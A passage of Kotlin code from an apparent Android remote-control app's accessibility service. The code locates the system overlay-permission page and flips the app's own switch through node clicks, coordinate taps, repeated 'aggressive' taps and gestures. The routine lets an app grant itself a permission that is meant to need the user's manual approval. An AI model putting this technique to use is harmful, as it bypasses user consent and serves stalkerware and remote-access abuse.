                if (currentUIState != beforeUIState) {
                    Log.i(
                        TAG,
                        "✅ ${method}可能成功！UI状态已改变: $beforeUIState -> $currentUIState"
                    )

                    // UI状态改变后，再等待一下检查权限是否生效
                    Thread.sleep(800)
                    val delayedPermission = android.provider.Settings.canDrawOverlays(this)
                    if (delayedPermission) {
                        Log.i(TAG, "✅ ${method}延迟确认成功！权限已生效")
                        return true
                    }
                }

                // ✅ 检查节点本身的状态变化
                try {
                    val currentChecked = node.isChecked
                    if (currentChecked != originalChecked) {
                        Log.i(
                            TAG,
                            "✅ ${method}成功！节点状态已改变: $originalChecked -> $currentChecked"
                        )
                        return true
                    }
                } catch (e: Exception) {
                    Log.d(TAG, "  节点状态检查异常（可能节点已失效）: ${e.message}")
                }

                // ✅ 重新获取根节点检查全局状态
                val rootNode = rootInActiveWindow
                if (rootNode != null) {
                    // 检查是否有新的开关控件出现或状态改变
                    val switches = rootNode.findByViewType("android.widget.Switch")
                    for (switch in switches) {
                        if (switch.isChecked != originalChecked) {
                            Log.i(TAG, "✅ ${method}成功！发现开关状态已改变")
                            switches.forEach { it.recycle() }
                            rootNode.recycle()
                            return true
                        }
                    }
                    switches.forEach { it.recycle() }
                    rootNode.recycle()
                }

                Log.d(TAG, "  🔄 第${i}次检查: 权限=$currentPermission, UI状态=$currentUIState")

            } catch (e: Exception) {
                Log.w(TAG, "  检查状态时出错: ${e.message}")
            }
        }

        // ✅ 最终检查：多重验证
        try {
            Thread.sleep(1000) // 给系统更多时间
            val finalPermission = android.provider.Settings.canDrawOverlays(this)
            val finalUIState = captureUIState()

            Log.d(TAG, "  🔍 最终状态检查: 权限=$finalPermission, UI状态=$finalUIState")

            if (finalPermission) {
                Log.i(TAG, "✅ ${method}最终成功！系统确认悬浮窗权限已获取")
                return true
            }

            if (finalUIState != beforeUIState) {
                Log.i(TAG, "⚠️ ${method}UI状态已改变但权限未生效，可能需要额外操作")
                // 即使权限未生效，UI状态改变也表明点击有一定效果
                return false
            }

        } catch (e: Exception) {
            Log.w(TAG, "  最终权限检查失败: ${e.message}")
        }

        Log.w(TAG, "  ⏰ ${method}后等待${maxChecks * checkInterval / 1000}秒，状态仍未改变")
        return false
    }

    /**
     * 捕获当前UI状态的快照
     */
    private fun captureUIState(): String {
        try {
            val rootNode = rootInActiveWindow
            if (rootNode != null) {
                val state = StringBuilder()

                // 检查ON/OFF文本
                val onTexts = listOf("ON", "开", "开启", "启用", "已开启", "已启用", "Enabled")
                val offTexts = listOf("OFF", "关", "关闭", "禁用", "已关闭", "已禁用", "Disabled")

                var hasOn = false
                var hasOff = false

                for (text in onTexts) {
                    if (findNodeByText(rootNode, text) != null) {
                        hasOn = true
                        break
                    }
                }

                for (text in offTexts) {
                    if (findNodeByText(rootNode, text) != null) {
                        hasOff = true
                        break
                    }
                }

                state.append("ON:$hasOn,OFF:$hasOff")

                // 检查开关控件状态
                val switches = rootNode.findByViewType("android.widget.Switch")
                if (switches.isNotEmpty()) {
                    val switchStates = switches.map { it.isChecked }
                    state.append(",Switches:$switchStates")
                    switches.forEach { it.recycle() }
                }

                rootNode.recycle()
                return state.toString()
            }
        } catch (e: Exception) {
            Log.w(TAG, "捕获UI状态异常: ${e.message}")
        }

        return "unknown"
    }

    /**
     * 查找所有可点击节点
     */
    // ✅ Phase 4.2 Step 7: findAllClickableNodes方法已迁移到ScreenManager

    /**
     * 简单的回退实现：递归查找所有可点击节点
     */
    private fun findAllClickableNodesRecursive(
        node: AccessibilityNodeInfo,
        result: MutableList<AccessibilityNodeInfo>
    ) {
        if (node.isClickable) {
            result.add(node)
        }

        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                findAllClickableNodesRecursive(child, result)
                child.recycle()
            }
        }
    }


    /**
     * 在指定节点附近查找可点击的控件
     */
    private fun findClickableNodeNear(textNode: AccessibilityNodeInfo): AccessibilityNodeInfo? {
        // 1. 检查节点本身是否可点击
        if (textNode.isClickable && textNode.isCheckable) {
            return textNode
        }

        // 2. 检查父节点
        var parent = textNode.parent
        while (parent != null) {
            if (parent.isClickable && parent.isCheckable) {
                Log.d(TAG, "在父节点中找到可点击控件: ${parent.className}")
                return parent
            }

            // 3. 检查父节点的子节点（兄弟节点）
            for (i in 0 until parent.childCount) {
                val sibling = parent.getChild(i)
                if (sibling != null) {
                    if (sibling.isClickable && sibling.isCheckable &&
                        (sibling.className == "android.widget.Switch" ||
                                sibling.className == "android.widget.ToggleButton" ||
                                sibling.className == "android.widget.CheckBox")
                    ) {
                        Log.d(TAG, "在兄弟节点中找到可点击控件: ${sibling.className}")
                        return sibling
                    }
                    sibling.recycle()
                }
            }

            val nextParent = parent.parent
            parent.recycle()
            parent = nextParent
        }

        // 4. 在整个根节点中查找Switch控件
        val rootNode = rootInActiveWindow
        if (rootNode != null) {
            val switches = rootNode.findByViewType("android.widget.Switch")
            if (switches.isNotEmpty()) {
                Log.d(TAG, "在根节点中找到Switch控件")
                val result = switches.first()
                switches.drop(1).forEach { node -> node.recycle() }
                rootNode.recycle()
                return result
            }
            rootNode.recycle()
        }

        return null
    }

    /**
     * 尝试坐标点击 - 优化版本，更精确的位置计算和状态检测
     */
    private fun tryCoordinateClick(node: AccessibilityNodeInfo): Boolean {
        return try {
            val rect = android.graphics.Rect()
            node.getBoundsInScreen(rect)

            Log.d(
                TAG,
                "  📐 控件边界: left=${rect.left}, top=${rect.top}, right=${rect.right}, bottom=${rect.bottom}"
            )
            Log.d(
                TAG,
                "  📐 控件类型: ${node.className}, 可点击: ${node.isClickable}, 可选择: ${node.isCheckable}"
            )

            if (::gestureController.isInitialized) {
                // ✅ 记录点击前的状态
                val beforePermission = android.provider.Settings.canDrawOverlays(this)
                val beforeOnText = findNodeByText(rootInActiveWindow, "ON") != null
                val beforeOffText = findNodeByText(rootInActiveWindow, "OFF") != null
                Log.d(
                    TAG,
                    "  📊 点击前状态: 权限=$beforePermission, ON文本=$beforeOnText, OFF文本=$beforeOffText"
                )

                // ✅ 智能计算点击位置 - 针对不同控件类型使用不同策略
                val clickPositions = when {
                    // 对于LinearLayout等容器，重点尝试右侧区域（开关通常在右侧）
                    node.className.toString().contains("LinearLayout") -> listOf(
                        Pair(
                            rect.left + (rect.right - rect.left) * 0.9f,
                            (rect.top + rect.bottom) / 2f
                        ),  // 最右侧
                        Pair(
                            rect.left + (rect.right - rect.left) * 0.85f,
                            (rect.top + rect.bottom) / 2f
                        ), // 右侧85%
                        Pair(
                            rect.left + (rect.right - rect.left) * 0.8f,
                            (rect.top + rect.bottom) / 2f
                        ),  // 右侧80%
                        Pair(
                            rect.left + (rect.right - rect.left) * 0.75f,
                            (rect.top + rect.bottom) / 2f
                        ), // 右侧75%
                        Pair(
                            rect.left + (rect.right - rect.left) * 0.7f,
                            (rect.top + rect.bottom) / 2f
                        )   // 右侧70%
                    )
                    // 对于TextView等文本控件，尝试文本区域的不同位置
                    node.className.toString().contains("TextView") -> listOf(
                        Pair(
                            (rect.left + rect.right) / 2f,
                            (rect.top + rect.bottom) / 2f
                        ),               // 中心
                        Pair(
                            rect.left + (rect.right - rect.left) * 0.8f,
                            (rect.top + rect.bottom) / 2f
                        ), // 右侧
                        Pair(
                            rect.left + (rect.right - rect.left) * 0.2f,
                            (rect.top + rect.bottom) / 2f
                        ), // 左侧
                        Pair(
                            (rect.left + rect.right) / 2f,
                            rect.top + (rect.bottom - rect.top) * 0.3f
                        ),  // 上部
                        Pair(
                            (rect.left + rect.right) / 2f,
                            rect.top + (rect.bottom - rect.top) * 0.7f
                        )   // 下部
                    )
                    // 对于其他控件，使用标准位置
                    else -> listOf(
                        Pair(
                            (rect.left + rect.right) / 2f,
                            (rect.top + rect.bottom) / 2f
                        ),               // 中心点
                        Pair(
                            rect.left + (rect.right - rect.left) * 0.8f,
                            (rect.top + rect.bottom) / 2f
                        ), // 右侧
                        Pair(
                            rect.left + (rect.right - rect.left) * 0.2f,
                            (rect.top + rect.bottom) / 2f
                        ), // 左侧
                        Pair(
                            (rect.left + rect.right) / 2f,
                            rect.top + (rect.bottom - rect.top) * 0.4f
                        ),  // 稍上
                        Pair(
                            (rect.left + rect.right) / 2f,
                            rect.top + (rect.bottom - rect.top) * 0.6f
                        )   // 稍下
                    )
                }

                // ✅ 逐个尝试点击位置，每次都进行详细的状态检测
                for ((index, position) in clickPositions.withIndex()) {
                    val (x, y) = position
                    Log.d(TAG, "  🎯 尝试坐标点击位置${index + 1}: ($x, $y)")

                    try {
                        gestureController.performClick(x, y)
                        Thread.sleep(800) // ✅ 增加等待时间，确保UI完全响应

                        // ✅ 多重状态检测，确保点击真正生效
                        val afterPermission = android.provider.Settings.canDrawOverlays(this)
                        val afterOnText = findNodeByText(rootInActiveWindow, "ON") != null
                        val afterOffText = findNodeByText(rootInActiveWindow, "OFF") != null

                        Log.d(
                            TAG,
                            "  📊 点击后状态: 权限=$afterPermission, ON文本=$afterOnText, OFF文本=$afterOffText"
                        )

                        // ✅ 判断点击是否成功的多个条件
                        val permissionChanged = afterPermission != beforePermission
                        val textStateChanged =
                            (afterOnText != beforeOnText) || (afterOffText != beforeOffText)
                        val permissionEnabled = afterPermission

                        if (permissionEnabled) {
                            Log.i(TAG, "  ✅ 坐标点击位置${index + 1}成功！系统权限已开启")
                            return true
                        }

                        if (permissionChanged) {
                            Log.i(TAG, "  ✅ 坐标点击位置${index + 1}成功！权限状态已改变")
                            return true
                        }

                        if (textStateChanged) {
                            Log.i(TAG, "  ✅ 坐标点击位置${index + 1}可能成功，UI文本状态已改变")
                            // 再等待一下检查权限是否生效
                            Thread.sleep(1000)
                            val finalPermission = android.provider.Settings.canDrawOverlays(this)
                            if (finalPermission) {
                                Log.i(TAG, "  ✅ 延迟检测确认：权限已开启")
                                return true
                            }
                        }

                        // ✅ 如果不是最后一个位置，继续尝试下一个
                        if (index < clickPositions.size - 1) {
                            Log.d(TAG, "  ⏭️ 位置${index + 1}无明显效果，尝试下一个位置")
                            continue
                        }

                    } catch (e: Exception) {
                        Log.w(TAG, "  ❌ 坐标点击位置${index + 1}异常: ${e.message}")
                    }
                }

                // ✅ 所有位置都尝试完毕，进行最终检查
                Log.i(TAG, "  🎯 已尝试所有坐标位置，进行最终状态检查")
                Thread.sleep(1500) // 给系统更多时间处理
                val finalPermission = android.provider.Settings.canDrawOverlays(this)
                if (finalPermission) {
                    Log.i(TAG, "  ✅ 最终检查：权限已开启，点击成功")
                    return true
                }

                Log.w(TAG, "  ❌ 所有坐标位置都无效果")
                return false

            } else {
                Log.w(TAG, "  ❌ GestureController未初始化")
                false
            }
        } catch (e: Exception) {
            Log.e(TAG, "  ❌ 坐标点击失败", e)
            false
        }
    }

    /**
     * 策略15: 专门处理权限描述文本点击
     * 针对"允许在上层显示"等权限描述文本进行智能点击
     */


    /**
     * ✅ Phase 4.2 Step 5: 检查权限上下文 - 委托给PermissionManager
     */
    private fun isInPermissionContext(
        actionNode: AccessibilityNodeInfo,
        permissionTexts: List<String>
    ): Boolean {
        return if (::permissionManager.isInitialized) {
            permissionManager.isInPermissionContext(actionNode, permissionTexts)
        } else {
            Log.w(TAG, "⚠️ PermissionManager未初始化，使用简单权限上下文检查")
            // 简单回退检查：检查节点文本是否包含权限关键词
            try {
                val text = actionNode.text?.toString()?.lowercase() ?: ""
                val desc = actionNode.contentDescription?.toString()?.lowercase() ?: ""
                permissionTexts.any { permText ->
                    text.contains(permText.lowercase()) || desc.contains(permText.lowercase())
                }
            } catch (e: Exception) {
                false
            }
        }
    }

    /**
     * ✅ Phase 4.2 Step 5: 查找权限操作容器 - 委托给PermissionManager
     */
    private fun tryFindPermissionActionContainer(
        rootNode: AccessibilityNodeInfo,
        permissionTexts: List<String>,
        actionTexts: List<String>
    ): Boolean {
        return if (::permissionManager.isInitialized) {
            permissionManager.tryFindPermissionActionContainer(
                rootNode,
                permissionTexts,
                actionTexts
            )
        } else {
            Log.w(TAG, "⚠️ PermissionManager未初始化，使用简单容器查找")
            // 简单回退：查找包含任一权限或操作文本的可点击节点
            try {
                val allTexts = permissionTexts + actionTexts
                for (text in allTexts) {
                    val node = findNodeByText(rootNode, text)
                    if (node?.isClickable == true) {
                        val success = node.performAction(AccessibilityNodeInfo.ACTION_CLICK)
                        node.recycle()
                        if (success) return true
                    }
                    node?.recycle()
                }
                false
            } catch (e: Exception) {
                false
            }
        }
    }

    /**
     * 在子树中查找包含指定文本的节点
     */
    private fun findNodeByTextInSubtree(
        rootNode: AccessibilityNodeInfo,
        text: String
    ): AccessibilityNodeInfo? {
        val nodeText = rootNode.text?.toString() ?: ""
        val nodeDesc = rootNode.contentDescription?.toString() ?: ""

        if (nodeText.contains(text, ignoreCase = true) || nodeDesc.contains(
                text,
                ignoreCase = true
            )
        ) {
            return rootNode
        }

        for (i in 0 until rootNode.childCount) {
            val child = rootNode.getChild(i)
            if (child != null) {
                val result = findNodeByTextInSubtree(child, text)
                if (result != null) {
                    // 不要回收child，因为result可能指向child
                    return result
                }
                child.recycle()
            }
        }

        return null
    }

    /**
     * 策略16: 深度UI分析和智能点击
     * 通过分析UI结构，找到最可能的开关位置并进行精确点击
     */
    private fun tryDeepUIAnalysisClick(rootNode: AccessibilityNodeInfo): Boolean {
        Log.d(TAG, "🔍 开始深度UI分析")

        try {
            // 1. 分析页面布局结构，寻找典型的权限开关模式
            val layoutAnalysis = analyzePermissionPageLayout(rootNode)
            if (layoutAnalysis.isNotEmpty()) {
                Log.d(TAG, "✅ 发现${layoutAnalysis.size}个潜在的权限开关区域")

                for ((index, candidate) in layoutAnalysis.withIndex()) {
                    Log.d(TAG, "🎯 尝试点击候选区域${index + 1}: ${candidate.className}")

                    // 使用增强的点击方法
                    if (tryEnhancedClickMethods(candidate)) {
                        Log.i(TAG, "✅ 深度分析点击成功")
                        return true
                    }
                }
            }

            // 2. 基于屏幕坐标的智能区域点击
            Log.d(TAG, "🔍 尝试基于屏幕坐标的智能区域点击")
            if (tryScreenRegionClick()) {
                Log.i(TAG, "✅ 屏幕区域点击成功")
                return true
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 深度UI分析异常", e)
        }

        return false
    }

    /**
     * 策略17: 模拟用户手势序列
     * 模拟用户的典型操作序列来激活权限开关
     */
    private fun tryUserGestureSequence(rootNode: AccessibilityNodeInfo): Boolean {
        Log.d(TAG, "🔍 开始模拟用户手势序列")

        try {
            if (!::gestureController.isInitialized) {
                Log.w(TAG, "❌ GestureController未初始化")
                return false
            }

            // 1. 模拟用户滚动查找开关（某些页面需要滚动）
            Log.d(TAG, "🔍 尝试滚动查找开关")
            if (tryScrollAndFind(rootNode)) {
                Log.i(TAG, "✅ 滚动查找成功")
                return true
            }

            // 2. 模拟用户点击序列（先点击应用名，再点击开关）
            Log.d(TAG, "🔍 尝试点击序列")
            if (tryClickSequence(rootNode)) {
                Log.i(TAG, "✅ 点击序列成功")
                return true
            }

            // 3. 模拟用户拖拽手势（某些开关需要拖拽）
            Log.d(TAG, "🔍 尝试拖拽手势")
            if (tryDragGesture(rootNode)) {
                Log.i(TAG, "✅ 拖拽手势成功")
                return true
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 用户手势序列异常", e)
        }

        return false
    }

    /**
     * 分析权限页面布局，找到潜在的开关区域
     */
    private fun analyzePermissionPageLayout(rootNode: AccessibilityNodeInfo): List<AccessibilityNodeInfo> {
        val candidates = mutableListOf<AccessibilityNodeInfo>()

        try {
            // 查找包含我们应用名称的节点
            val appNodes = findAppNameNodes(rootNode)

            for (appNode in appNodes) {
                // 分析应用节点周围的布局
                val layoutCandidates = analyzeAroundAppNode(appNode)
                candidates.addAll(layoutCandidates)
            }

            // 如果没有找到应用节点，尝试分析整个页面的开关模式
            if (candidates.isEmpty()) {
                val generalCandidates = analyzeGeneralSwitchPattern(rootNode)
                candidates.addAll(generalCandidates)
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 布局分析异常", e)
        }

        return candidates
    }

    /**
     * 查找包含应用名称的节点
     */
    private fun findAppNameNodes(rootNode: AccessibilityNodeInfo): List<AccessibilityNodeInfo> {
        val appNodes = mutableListOf<AccessibilityNodeInfo>()
        val appNames =
            listOf("Remote Control", "Android Remote Control", "RemoteControl", "远程控制")

        for (appName in appNames) {
            val node = findNodeByText(rootNode, appName)
            if (node != null) {
                appNodes.add(node)
            }
        }

        return appNodes
    }

    /**
     * 分析应用节点周围的布局
     */
    private fun analyzeAroundAppNode(appNode: AccessibilityNodeInfo): List<AccessibilityNodeInfo> {
        val candidates = mutableListOf<AccessibilityNodeInfo>()

        try {
            val rect = android.graphics.Rect()
            appNode.getBoundsInScreen(rect)

            // 查找应用节点右侧的可点击区域
            val rightSideCandidates = findRightSideClickables(appNode, rect)
            candidates.addAll(rightSideCandidates)

            // 查找同一行的其他可点击元素
            val sameRowCandidates = findSameRowClickables(appNode, rect)
            candidates.addAll(sameRowCandidates)

        } catch (e: Exception) {
            Log.e(TAG, "❌ 应用节点周围分析异常", e)
        }

        return candidates
    }

    /**
     * 查找应用节点右侧的可点击区域
     */
    private fun findRightSideClickables(
        appNode: AccessibilityNodeInfo,
        appRect: android.graphics.Rect
    ): List<AccessibilityNodeInfo> {
        val candidates = mutableListOf<AccessibilityNodeInfo>()

        val parent = appNode.parent
        if (parent != null) {
            for (i in 0 until parent.childCount) {
                val sibling = parent.getChild(i)
                if (sibling != null && sibling != appNode) {
                    val siblingRect = android.graphics.Rect()
                    sibling.getBoundsInScreen(siblingRect)

                    // 检查是否在右侧且可点击
                    if (siblingRect.left >= appRect.right - 100 && sibling.isClickable) {
                        candidates.add(sibling)
                    } else {
                        sibling.recycle()
                    }
                }
            }
            parent.recycle()
        }

        return candidates
    }

    /**
     * 查找同一行的其他可点击元素
     */
    private fun findSameRowClickables(
        appNode: AccessibilityNodeInfo,
        appRect: android.graphics.Rect
    ): List<AccessibilityNodeInfo> {
        val candidates = mutableListOf<AccessibilityNodeInfo>()

        val rootNode = rootInActiveWindow
        if (rootNode != null) {
            findSameRowClickablesRecursive(rootNode, appRect, candidates)
            rootNode.recycle()
        }

        return candidates
    }

    /**
     * 递归查找同一行的可点击元素
     */
    private fun findSameRowClickablesRecursive(
        node: AccessibilityNodeInfo,
        appRect: android.graphics.Rect,
        candidates: MutableList<AccessibilityNodeInfo>
    ) {
        if (node.isClickable) {
            val nodeRect = android.graphics.Rect()
            node.getBoundsInScreen(nodeRect)

            // 检查是否在同一行（Y坐标重叠）
            val verticalOverlap = !(nodeRect.bottom < appRect.top || nodeRect.top > appRect.bottom)
            if (verticalOverlap && nodeRect.left > appRect.right) {
                candidates.add(node)
                return // 不要继续递归，避免重复添加
            }
        }

        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                findSameRowClickablesRecursive(child, appRect, candidates)
                child.recycle()
            }
        }
    }

    /**
     * 分析通用的开关模式
     */
    private fun analyzeGeneralSwitchPattern(rootNode: AccessibilityNodeInfo): List<AccessibilityNodeInfo> {
        val candidates = mutableListOf<AccessibilityNodeInfo>()

        // 查找包含ON/OFF文本的可点击区域
        val onOffNodes = findOnOffClickables(rootNode)
        candidates.addAll(onOffNodes)

        return candidates
    }

    /**
     * 查找包含ON/OFF文本的可点击区域
     */
    private fun findOnOffClickables(rootNode: AccessibilityNodeInfo): List<AccessibilityNodeInfo> {
        val candidates = mutableListOf<AccessibilityNodeInfo>()

        findOnOffClickablesRecursive(rootNode, candidates)

        return candidates
    }

    /**
     * 递归查找ON/OFF可点击区域
     */
    private fun findOnOffClickablesRecursive(
        node: AccessibilityNodeInfo,
        candidates: MutableList<AccessibilityNodeInfo>
    ) {
        val text = node.text?.toString() ?: ""
        val desc = node.contentDescription?.toString() ?: ""

        val hasOnOffText = text.contains("ON", ignoreCase = true) ||
                text.contains("OFF", ignoreCase = true) ||
                text.contains("开", ignoreCase = true) ||
                text.contains("关", ignoreCase = true) ||
                desc.contains("switch", ignoreCase = true)

        if (hasOnOffText && node.isClickable) {
            candidates.add(node)
            return // 不要继续递归，避免重复添加
        }

        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                findOnOffClickablesRecursive(child, candidates)
                child.recycle()
            }
        }
    }

    /**
     * 增强的点击方法
     */
    private fun tryEnhancedClickMethods(node: AccessibilityNodeInfo): Boolean {
        // 先尝试标准的多种点击方法
        if (tryMultipleClickMethods(node, "深度分析候选")) {
            return true
        }

        // 如果标准方法失败，尝试更激进的点击策略
        return tryAggressiveClick(node)
    }

    /**
     * 激进的点击策略
     */
    private fun tryAggressiveClick(node: AccessibilityNodeInfo): Boolean {
        if (!::gestureController.isInitialized) return false

        try {
            val rect = android.graphics.Rect()
            node.getBoundsInScreen(rect)

            // 尝试多次快速点击
            for (i in 1..3) {
                val x = rect.left + (rect.right - rect.left) * 0.8f
                val y = (rect.top + rect.bottom) / 2f

                gestureController.performClick(x, y)
                Thread.sleep(300)

                if (android.provider.Settings.canDrawOverlays(this)) {
                    Log.i(TAG, "✅ 激进点击第${i}次成功")
                    return true
                }
            }

        } catch (e: Exception) {
            Log.e(TAG, "❌ 激进点击异常", e)
        }

        return false
    }

    /**
     * ✅ Phase 4.2 Step 8: 基于屏幕坐标的智能区域点击 - 委托给GestureManager
     */
    private fun tryScreenRegionClick(): Boolean {
        return gestureManager.tryScreenRegionClick()
    }

    /**
     * ✅ Phase 4.2 Step 8: 尝试滚动查找开关 - 委托给GestureManager
     */
    private fun tryScrollAndFind(rootNode: AccessibilityNodeInfo): Boolean {
        return gestureManager.tryScrollAndFind(rootNode)
    }

    /**
     * ✅ Phase 4.2 Step 8: 尝试点击序列 - 委托给GestureManager
     */
    private fun tryClickSequence(rootNode: AccessibilityNodeInfo): Boolean {
        return gestureManager.tryClickSequence(rootNode)
    }

    /**
     * ✅ Phase 4.2 Step 8: 尝试拖拽手势 - 委托给GestureManager
     */
    private fun tryDragGesture(rootNode: AccessibilityNodeInfo): Boolean {
        return gestureManager.tryDragGesture(rootNode)
    }

    /**
     * 查找并点击任何可能的开关
     */
    private fun findAndClickAnySwitch(rootNode: AccessibilityNodeInfo): Boolean {
        // 简化版的开关查找和点击
        val switches = rootNode.findByViewType("android.widget.Switch")
        for (switch in switches) {
            if (tryMultipleClickMethods(switch, "滚动后发现的Switch")) {
                return true
            }
        }

        return false
    }

    /**
     * ✅ Phase 4.3 Step 7: 生成详细的调试报告 - 委托给DebugAnalysisManager
     */
    private fun generateDebugReport(rootNode: AccessibilityNodeInfo) {
        if (::debugAnalysisManager.isInitialized) {
            val report = debugAnalysisManager.generateDebugReport()
            Log.i(TAG, "📋 调试报告生成完成: ${report.basicInfo["packageName"]}")
        } else {
            // 简化的回退实现
            Log.i(TAG, "📋 ===== 简化调试报告 =====")
            val packageName = rootNode.packageName?.toString() ?: "unknown"
            val overlayPermission = android.provider.Settings.canDrawOverlays(this)
            Log.i(TAG, "📱 页面信息: 包名=$packageName")
            Log.i(TAG, "🔐 权限状态: 悬浮窗权限=$overlayPermission")
            Log.i(TAG, "⚠️ DebugAnalysisManager未初始化，使用简化报告")
            Log.i(TAG, "📋 ===== 简化调试报告结束 =====")
        }
    }

    // ✅ Phase 4.3 Step 7: analyzeClickableAroundApp方法已迁移到DebugAnalysisManager

    // ✅ Phase 4.3 Step 7: analyzeOnOffTexts方法已迁移到DebugAnalysisManager

    // ✅ Phase 4.3 Step 7: analyzeSwitchControls方法已迁移到DebugAnalysisManager

    // ✅ Phase 4.3 Step 7: analyzeClickableElements方法已迁移到DebugAnalysisManager

    // ✅ Phase 4.3 Step 7: provideTroubleshootingSuggestions方法已迁移到DebugAnalysisManager

    /**
     * 查找所有包含指定文本的节点
     */
    private fun findAllNodesByText(
        rootNode: AccessibilityNodeInfo,
        text: String
    ): List<AccessibilityNodeInfo> {
        val result = mutableListOf<AccessibilityNodeInfo>()
        findAllNodesByTextRecursive(rootNode, text, result)
        return result
    }

    /**
     * 递归查找所有包含指定文本的节点
     */
    private fun findAllNodesByTextRecursive(
        node: AccessibilityNodeInfo,
        text: String,
        result: MutableList<AccessibilityNodeInfo>
    ) {
        val nodeText = node.text?.toString() ?: ""
        val nodeDesc = node.contentDescription?.toString() ?: ""

        if (nodeText.contains(text, ignoreCase = true) || nodeDesc.contains(
                text,
                ignoreCase = true
            )
        ) {
            result.add(node)
            return // 找到匹配的节点，不再递归其子节点
        }

        for (i in 0 until node.childCount) {
            val child = node.getChild(i)
            if (child != null) {
                findAllNodesByTextRecursive(child, text, result)
                child.recycle()
            }
        }
    }

    // ✅ Phase 4.3 Step 7: printNodeHierarchy方法已迁移到DebugAnalysisManager

    /**
     * ✅ Phase 4.2 Step 7: 根据文本查找节点 - 委托给ScreenManager
     */
    private fun findNodeByText(node: AccessibilityNodeInfo, text: String): AccessibilityNodeInfo? {
        return if (::screenManager.isInitialized) {
            screenManager.findNodeByText(node, text)
        } else {
            // 回退到简单实现
            if (node.text != null && node.text.toString().contains(text, ignoreCase = true)) {
                return node
            }
            if (node.contentDescription != null && node.contentDescription.toString()
                    .contains(text, ignoreCase = true)
            ) {
                return node
            }
            null
        }
    }

    private fun findNodeYByText(
        rootNode: AccessibilityNodeInfo,
        text: String
    ): AccessibilityNodeInfo? {

        return try {
            var foundNode: AccessibilityNodeInfo? = null

            fun searchNode(node: AccessibilityNodeInfo, depth: Int = 0) {
                if (depth > 10 || foundNode != null) return

                val nodeText = node.text?.toString() ?: ""
                val nodeDesc = node.contentDescription?.toString() ?: ""

                if (nodeText.equals(text, ignoreCase = true) ||
                    nodeDesc.equals(text, ignoreCase = true)
                ) {
                    foundNode = node
                    return
                }

                // 递归检查子节点
                for (i in 0 until node.childCount) {
                    val child = node.getChild(i)
                    if (child != null) {
                        searchNode(child, depth + 1)
                        if (foundNode == null) {
                            child.recycle()
                        }
                    }
                }
            }

            searchNode(rootNode)
            foundNode
        } catch (e: Exception) {
            Log.e(TAG, "查找节点失败: $text", e)
            null
        }
    }

    /**
     * 根据类型查找节点
     */
    private fun AccessibilityNodeInfo.findByViewType(className: String): List<AccessibilityNodeInfo> {
        val result = mutableListOf<AccessibilityNodeInfo>()

        if (this.className == className) {
            result.add(this)
        }

        for (i in 0 until childCount) {
            val child = getChild(i)
            if (child != null) {
                result.addAll(child.findByViewType(className))
                // 不要回收child，因为result可能包含child或其子节点
            }
        }

        return result
    }

    /**
     * 检查当前页面是否是我们应用的权限页面 - 优化版本，避免误判
     */
    private fun isOurAppPermissionPage(rootNode: AccessibilityNodeInfo): Boolean {
        try {
            // 1. ✅ 检查是否在设置页面或厂商权限管理页面
            val currentPackageName = rootNode.packageName?.toString()

            if (!isSystemSettingsPackage(currentPackageName)) {
                Log.d(TAG, "🔍 不在已知的权限管理页面，当前包名: $currentPackageName")
                // ✅ 不直接返回false，继续检查是否有权限相关内容
                Log.d(TAG, "🔍 继续检查页面内容以确认是否为权限页面")
            } else {
                Log.i(TAG, "✅ 在已知权限管理页面: $currentPackageName")
            }

            // 2. ✅ 查找我们应用的名称或包名（在已知权限页面中优先查找）
            val ourAppIdentifiers = getAppIdentifiersForDetection()

            // 3. 检查页面中是否包含我们应用的标识
            var foundOurApp = false

            // ✅ 如果在已知权限页面中，优先查找应用标识
            if (isSystemSettingsPackage(currentPackageName)) {
                for (identifier in ourAppIdentifiers) {
                    val foundNode = findNodeByText(rootNode, identifier)
                    if (foundNode != null) {
                        Log.i(TAG, "✅ 在权限页面找到我们应用的标识: $identifier")
                        foundNode.recycle()
                        foundOurApp = true
                        break
                    }
                }
            }

            // 4. ✅ 如果没有找到明确标识，或者在未知页面中，进行更宽松的检查
            if (!foundOurApp || !isSystemSettingsPackage(currentPackageName)) {
                if (!foundOurApp) {
                    Log.w(TAG, "⚠️ 未找到我们应用的明确标识，进行补充检查")
                } else {
                    Log.i(TAG, "🔍 在未知页面中，进行权限相关内容检查")
                }

                // ✅ 检查是否包含悬浮窗相关文本，这通常意味着是权限页面
                val overlayTexts = listOf(
                    "显示在其他应用的上层",
                    "悬浮窗权限",
                    "悬浮窗",
                    "Display over other apps",
                    "Overlay permission",
                    "在其他应用上层显示",
                    "应用上层显示",
                    "系统窗口",
                    "System alert window"
                )

                for (overlayText in overlayTexts) {
                    val overlayNode = findNodeByText(rootNode, overlayText)
                    if (overlayNode != null) {
                        Log.i(TAG, "✅ 找到悬浮窗权限相关文本: $overlayText，推断为权限页面")
                        overlayNode.recycle()
                        foundOurApp = true
                        break
                    }
                }

                // ✅ 如果找到ON/OFF文本，很可能是权限开关页面
                if (!foundOurApp) {
                    val switchTexts =
                        listOf("ON", "OFF", "开", "关", "允许", "禁止", "Enable", "Disable")
                    for (switchText in switchTexts) {
                        val switchNode = findNodeByText(rootNode, switchText)
                        if (switchNode != null) {
                            Log.i(TAG, "✅ 找到开关文本: $switchText，推断为权限页面")
                            switchNode.recycle()
                            foundOurApp = true
                            break
                        }
                    }
                }

                // ✅ 检查是否有Switch或Toggle控件，这通常是权限页面的特征
                if (!foundOurApp) {
                    val switchTypes = listOf(
                        "android.widget.Switch",
                        "android.widget.ToggleButton",
                        "androidx.appcompat.widget.SwitchCompat"
                    )

                    for (switchType in switchTypes) {
                        val switches = rootNode.findByViewType(switchType)
                        if (switches.isNotEmpty()) {
                            Log.i(
                                TAG,
                                "✅ 找到开关控件: $switchType (${switches.size}个)，推断为权限页面"
                            )
                            switches.forEach { it.recycle() }
                            foundOurApp = true
                            break
                        }
                    }
                }

                // ✅ 最宽松的检查：如果在设置页面且有可点击的checkable控件，很可能是权限页面
                if (!foundOurApp) {
                    val checkableNodes = findAllClickableAndCheckableNodes(rootNode)
                    if (checkableNodes.isNotEmpty()) {
                        Log.i(
                            TAG,
                            "✅ 在设置页面找到${checkableNodes.size}个可选择控件，推断为权限页面"
                        )
